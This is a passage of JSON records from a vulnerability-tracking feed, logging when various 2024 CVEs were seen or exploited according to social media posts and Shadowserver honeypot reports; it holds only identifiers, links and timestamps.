{"uuid": "f49c799c-a202-4385-b920-49629a235f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113834073031505621", "content": "", "creation_timestamp": "2025-01-15T19:41:49.464619Z"}, {"uuid": "10041002-ef9a-4a1b-96c3-a521342d1821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40839", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113834073046021148", "content": "", "creation_timestamp": "2025-01-15T19:41:49.402537Z"}, {"uuid": "ccca535b-5a8b-4929-82ce-184b0f0d5c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40854", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113834073060185609", "content": "", "creation_timestamp": "2025-01-15T19:41:49.595156Z"}, {"uuid": "4b9d5632-7808-483f-8f3a-15f772bdf519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40747", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788009448134261", "content": "", "creation_timestamp": "2025-01-07T16:27:14.516765Z"}, {"uuid": "0df8fd4b-ff57-4573-8776-ecd32d9ca707", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788009462822787", "content": "", "creation_timestamp": "2025-01-07T16:27:14.988019Z"}, {"uuid": "e2611c9c-e6f0-4f18-a429-3a2dac30c8cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40749", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113788009476631166", "content": "", "creation_timestamp": "2025-01-07T16:27:15.491957Z"}, {"uuid": "11ca321a-f1a5-469f-9945-27f227b258d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfc4zyayad2f", "content": "", "creation_timestamp": "2025-01-09T07:15:59.022861Z"}, {"uuid": "8eb6d47d-b887-4a1b-9f06-97a8851552fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113797201184696821", "content": "", "creation_timestamp": "2025-01-09T07:24:50.243140Z"}, {"uuid": "2ec019e1-ac30-4785-a64e-d1ada9bbdb16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfslfyszlw2f", "content": "", "creation_timestamp": "2025-01-15T20:15:49.769018Z"}, {"uuid": "f587fb1b-75a7-42a7-bcd9-5a72a6690e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40839", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfslg3n4oz2b", "content": "", "creation_timestamp": "2025-01-15T20:15:52.629388Z"}, {"uuid": "7481a312-2865-4e0f-b692-cb1744c9759a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc6m5ibxt2e", "content": "", "creation_timestamp": "2025-01-09T07:44:03.367374Z"}, {"uuid": "b953053f-0e66-4fde-97b0-429436802bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40854", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfslg677qw2t", "content": "", "creation_timestamp": "2025-01-15T20:15:55.346367Z"}, {"uuid": "739dc88f-f581-4c6d-82bc-35e85903c70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40513", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfvfw4h6yi2p", "content": "", "creation_timestamp": "2025-01-16T23:15:27.316029Z"}, {"uuid": "c5d5a8a6-b4cb-407a-99a3-ea4c528b861d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40513", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfvgy4nejz2e", "content": "", "creation_timestamp": "2025-01-16T23:34:28.363273Z"}, {"uuid": "b3f4e8e7-a9e9-4191-a937-b09273e61b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40514", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfvfw6qk5q2b", "content": "", "creation_timestamp": "2025-01-16T23:15:29.601367Z"}, {"uuid": "c4cf50dc-2b91-412e-9280-beb366a84ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcafovvci25", "content": "", "creation_timestamp": "2025-01-09T08:16:12.669636Z"}, {"uuid": "ca2985fc-99f4-4e51-908f-c269698c0972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40771", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113834243164740590", "content": "", "creation_timestamp": "2025-01-15T20:25:05.159458Z"}, {"uuid": "dfc14587-dfa0-43ef-b3c0-58d9b20f015a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40514", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfvgy5qmkc2r", "content": "", "creation_timestamp": "2025-01-16T23:34:30.799947Z"}, {"uuid": "7b123129-ff3b-4464-bca9-59173de128ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfcz4lyz7r2r", "content": "", "creation_timestamp": "2025-01-09T15:38:32.271518Z"}, {"uuid": "aa3af9f6-d07c-4af6-b4a8-14d26018abbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40587", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpgvtw6np2n", "content": "", "creation_timestamp": "2025-01-14T14:17:13.454366Z"}, {"uuid": "793f63b2-6915-4af9-9b0e-9f99a83b4592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799181905584886", "content": "", "creation_timestamp": "2025-01-09T15:48:33.150273Z"}, {"uuid": "a4c5208a-3841-4883-b851-b8f932134825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40854", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfsnixhedn2h", "content": "", "creation_timestamp": "2025-01-15T20:53:16.539307Z"}, {"uuid": "6e7cb828-6d22-47f7-8976-3d037c70af33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113799182095601157", "content": "", "creation_timestamp": "2025-01-09T15:48:35.738164Z"}, {"uuid": "43989d9b-3aa8-40b8-839b-a5e7958c5272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40762", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113788992074892039", "content": "", "creation_timestamp": "2025-01-07T20:37:08.798956Z"}, {"uuid": "3fb4666d-8043-4996-a198-dff6c3c4d05f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40765", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113789285485490767", "content": "", "creation_timestamp": "2025-01-07T21:51:45.625044Z"}, {"uuid": "e1a0d055-3bf6-43c2-8cad-fd69815cd312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113790061886020708", "content": "", "creation_timestamp": "2025-01-08T01:09:12.152909Z"}, {"uuid": "fbf93f59-a867-4c69-83fe-d1c40edf8fc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf6ygfbrlo2k", "content": "", "creation_timestamp": "2025-01-08T01:15:26.648520Z"}, {"uuid": "31535298-8af8-43d4-b2eb-9759b9d118ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40679", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf6zy2pkkh2u", "content": "", "creation_timestamp": "2025-01-08T01:43:13.865682Z"}, {"uuid": "7309c6d6-cfbd-4f29-b5f8-f92f86422c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40748", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lfyclgcsdm2b", "content": "", "creation_timestamp": "2025-01-18T02:53:46.588584Z"}, {"uuid": "96ea577a-dd6e-4de2-88a4-b5186d1e9865", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lgxsgmkges2n", "content": "", "creation_timestamp": "2025-01-30T15:29:57.049829Z"}, {"uuid": "2c86a98d-5c18-4dcc-9532-6acf94636fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40649", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907583482056640", "content": "", "creation_timestamp": "2025-01-28T19:16:29.518638Z"}, {"uuid": "7e4096fc-98ef-471f-8745-e845778cd9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907642526418597", "content": "", "creation_timestamp": "2025-01-28T19:31:30.492948Z"}, {"uuid": "1b253971-ab21-46da-bb9a-1610b1fa5851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40669", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907642498067293", "content": "", "creation_timestamp": "2025-01-28T19:31:31.000590Z"}, {"uuid": "658c6586-22fd-4388-bcee-c7fb038df12f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40651", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907642483169674", "content": "", "creation_timestamp": "2025-01-28T19:31:31.088411Z"}, {"uuid": "ae973b45-7c82-48b7-ba2e-bcc1079ebf85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40670", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907642512259514", "content": "", "creation_timestamp": "2025-01-28T19:31:31.174473Z"}, {"uuid": "752e3146-108a-4b93-bc02-50ff316921ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907701524268534", "content": "", "creation_timestamp": "2025-01-28T19:46:30.607450Z"}, {"uuid": "425aa859-09a6-4eb1-92ab-114bfaa91c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40674", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907701538509621", "content": "", "creation_timestamp": "2025-01-28T19:46:30.861607Z"}, {"uuid": "6a5b3d69-a544-4b6a-b147-0c8307e5f5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907701552776098", "content": "", "creation_timestamp": "2025-01-28T19:46:31.244997Z"}, {"uuid": "d2e5c22d-d436-4371-9592-74fa26304ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40891", "type": "seen", "source": "https://bsky.app/profile/Zero-Trust.activitypub.awakari.com.ap.brid.gy/post/3lguwxbqz5vo2", "content": "", "creation_timestamp": "2025-01-29T12:14:50.917999Z"}, {"uuid": "b58b9988-1db2-464c-a27e-4bdbc81d95ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "e5f64357-a6e3-4653-b610-ff8e68976597", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40676", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907701567556684", "content": "", "creation_timestamp": "2025-01-28T19:46:31.470427Z"}, {"uuid": "9ebad70d-dfe1-46f1-b819-719bc15d2c9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113911703057934783", "content": "", "creation_timestamp": "2025-01-29T12:44:09.122642Z"}, {"uuid": "01592010-67c5-4939-87a2-4ea240988006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lguypoz66c2a", "content": "", "creation_timestamp": "2025-01-29T12:44:26.434032Z"}, {"uuid": "7bbf8ee7-b521-4c5b-8b28-b55ccef1cab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lgwjjpoups2n", "content": "", "creation_timestamp": "2025-01-30T03:17:58.236953Z"}, {"uuid": "fc03894c-5b86-42ff-9ed2-b7a413dad050", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40700", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113947540020210559", "content": "", "creation_timestamp": "2025-02-04T20:37:57.801363Z"}, {"uuid": "21cc0ab3-c8ad-4701-86a5-8538949bde7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113907760564510018", "content": "", "creation_timestamp": "2025-01-28T20:01:31.464762Z"}, {"uuid": "39286bbe-9241-4d4b-8509-7a1462ad4721", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-27)", "content": "", "creation_timestamp": "2025-01-27T00:00:00.000000Z"}, {"uuid": "80888aaf-2a1b-410d-8585-ae2526b8344a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-01-17)", "content": "", "creation_timestamp": "2025-01-17T00:00:00.000000Z"}, {"uuid": "e2d79e4b-4af4-49de-b902-c2c03aeb600b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40649", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbifjefa2f", "content": "", "creation_timestamp": "2025-01-28T20:16:03.981797Z"}, {"uuid": "c2a28509-0a46-48af-bc9a-3e544c9c51c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3lgv7d3anki2k", "content": "", "creation_timestamp": "2025-01-29T14:42:38.255627Z"}, {"uuid": "5a670585-cb63-47fa-8ab8-40adea6522fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40651", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbik25oc2t", "content": "", "creation_timestamp": "2025-01-28T20:16:09.315720Z"}, {"uuid": "a376ae8f-7498-4dbb-bc1b-f5d1ef518bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/threatcodex/statuses/113912176163030592", "content": "", "creation_timestamp": "2025-01-29T14:44:28.113554Z"}, {"uuid": "a3b859bd-3694-4883-9af0-c4dce1ec7b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40669", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbimq2y427", "content": "", "creation_timestamp": "2025-01-28T20:16:11.738597Z"}, {"uuid": "e8462de8-1299-46e3-aa02-dd4de54540b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40670", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbiozjmb2b", "content": "", "creation_timestamp": "2025-01-28T20:16:14.616245Z"}, {"uuid": "c640521e-3549-4f20-aa94-7d221a1ccd6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-23)", "content": "", "creation_timestamp": "2024-12-23T00:00:00.000000Z"}, {"uuid": "ec0a8a59-cd1c-475e-b2f8-ce3640b5064a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40672", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbirnj3g2c", "content": "", "creation_timestamp": "2025-01-28T20:16:17.113803Z"}, {"uuid": "bde4a4bc-2a49-469a-bccf-a5ff1a6ed72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40673", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbiu4cir2r", "content": "", "creation_timestamp": "2025-01-28T20:16:19.878953Z"}, {"uuid": "2136a665-453c-404b-bf55-8533ecacb172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40674", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbiwdium27", "content": "", "creation_timestamp": "2025-01-28T20:16:22.038215Z"}, {"uuid": "52f695e5-909b-4bef-89ca-9ab07cd0a01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40675", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbiyvhlu2i", "content": "", "creation_timestamp": "2025-01-28T20:16:24.782081Z"}, {"uuid": "680ab3ff-bbb1-406d-a7fa-61aa4dc8f81e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40676", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbj37ouj2r", "content": "", "creation_timestamp": "2025-01-28T20:16:26.818010Z"}, {"uuid": "b1897c13-850a-433d-b3f9-256670b70e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lgvavjm32z2t", "content": "", "creation_timestamp": "2025-01-29T15:11:00.193627Z"}, {"uuid": "3c2e01c5-c84f-4662-8bd2-eb5ecc4d1bba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40677", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgtbj5jkvc2t", "content": "", "creation_timestamp": "2025-01-28T20:16:29.203294Z"}, {"uuid": "af01e500-3998-4660-bf5e-95cecec8b378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2024-12-30)", "content": "", "creation_timestamp": "2024-12-30T00:00:00.000000Z"}, {"uuid": "50a738dd-fd54-4b4f-8e6f-d4e9c48b30e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lgwqwxrqjk2b", "content": "", "creation_timestamp": "2025-01-30T05:30:38.729044Z"}, {"uuid": "b68f4e0b-fd47-47a4-a853-47a25e850f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113945027452629017", "content": "", "creation_timestamp": "2025-02-04T09:58:59.150735Z"}, {"uuid": "3b246206-a218-4e9a-a5d0-d0de728010ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3lgy4tb3vys23", "content": "", "creation_timestamp": "2025-01-30T18:36:02.347764Z"}, {"uuid": "a5e6c610-ef41-4d7f-b37f-3bac42c879fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113945059007016791", "content": "", "creation_timestamp": "2025-02-04T10:07:00.553721Z"}, {"uuid": "239c7e12-e19f-4a71-ad30-33e6ca7d1fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lgvchyusrb2g", "content": "", "creation_timestamp": "2025-01-29T15:39:04.157236Z"}, {"uuid": "ba1c94aa-6cfb-4633-ad0e-b568b90b4bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40700", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhey3rzjrq2f", "content": "", "creation_timestamp": "2025-02-04T21:15:52.459447Z"}, {"uuid": "7b23319a-3d89-460e-9fba-55fa31a1e599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/greynoise.bsky.social/post/3lgtep3hmh22o", "content": "", "creation_timestamp": "2025-01-28T21:13:33.388009Z"}, {"uuid": "ab9dd464-7305-4273-8e94-2f983f4f7cc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-40891", "type": "seen", "source": "https://infosec.exchange/users/iagox86/statuses/113908066147897929", "content": "", "creation_timestamp": "2025-01-28T21:19:14.495171Z"}, {"uuid": "e2996369-c519-4767-8e16-3d6a2ab91c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/greynoise.infosec.exchange.ap.brid.gy/post/3lgtfi6arhdz2", "content": "", "creation_timestamp": "2025-01-28T21:28:59.358384Z"}, {"uuid": "a8003da5-4d9c-4303-b176-0843e8d757e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lgwvnuox622n", "content": "", "creation_timestamp": "2025-01-30T06:55:02.179340Z"}, {"uuid": "dbb10a11-233f-4526-8eff-24720c2b18fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40890", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdt77u4sx2h", "content": "", "creation_timestamp": "2025-02-04T10:15:39.225840Z"}, {"uuid": "64be4bcd-fa17-4815-a5af-ff32450d1917", 